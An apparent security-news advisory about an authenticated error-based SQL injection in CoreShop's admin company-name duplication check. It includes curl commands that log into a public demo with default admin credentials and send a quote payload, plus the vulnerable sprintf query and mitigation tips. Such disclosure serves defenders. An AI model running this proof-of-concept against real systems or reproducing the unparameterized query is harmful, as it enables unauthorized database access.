Listen to this Post
The vulnerability is an error-based SQL injection in the CustomerTransformerController within the CoreShop admin panel. It occurs in the company name duplication check endpoint at /admin/coreshop/customer-company-modifier/duplication-name-check?value=. User-supplied input from the `value` parameter is directly interpolated into a SQL query using `sprintf(‘name LIKE “%%%s%%”‘, (string) $value)` without parameterization or escaping. This allows an authenticated admin user to inject SQL code. When a double quote (") is supplied, it breaks the SQL syntax, causing a database error and an HTTP 500 response, confirming the injection point. The unescaped input reaches the SQL execution context, enabling error-based disclosure of database information. Attackers can exploit this to extract data, enumerate schema, or execute arbitrary SQL commands within the constraints of the query structure and database permissions.
Platform: CoreShop
Version: Not specified
Vulnerability: SQL Injection
Severity: MEDIUM
Date: Not specified
Prediction: Patch date unknown
What Undercode Say:
Analytics:
curl -s ‘https://demo4.coreshop.org/admin/login/csrf-token’ | grep csrfToken
curl -s -c /tmp/session.txt ‘https://demo4.coreshop.org/admin/login’ > /dev/null
CSRF=$(curl -s -b /tmp/session.txt ‘https://demo4.coreshop.org/admin/login/csrf-token’ | grep -o ‘”csrfToken”:”[^”]”‘ | cut -d'”‘ -f4)
curl -s -i -b /tmp/session.txt -c /tmp/session.txt -X POST ‘https://demo4.coreshop.org/admin/login/login’ -H ‘Content-Type: application/x-www-form-urlencoded’ -d “username=admin&password=coreshop&csrfToken=$CSRF”
curl -s -b /tmp/session.txt ‘https://demo4.coreshop.org/admin/coreshop/customer-company-modifier/duplication-name-check?value=%22’
sprintf(‘name LIKE “%%%s%%”‘, (string) $value)
Exploit:
Authenticate as admin.
Access vulnerable endpoint.
Inject double quote.
Trigger SQL errors.
Extract data via errors.
Protection from this CVE:
Use parameterized queries.
Implement input validation.
Handle errors gracefully.
Apply security best practices.
Impact:
Database error disclosure.
Data extraction possible.
Authenticated admin context.
Medium severity risk.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
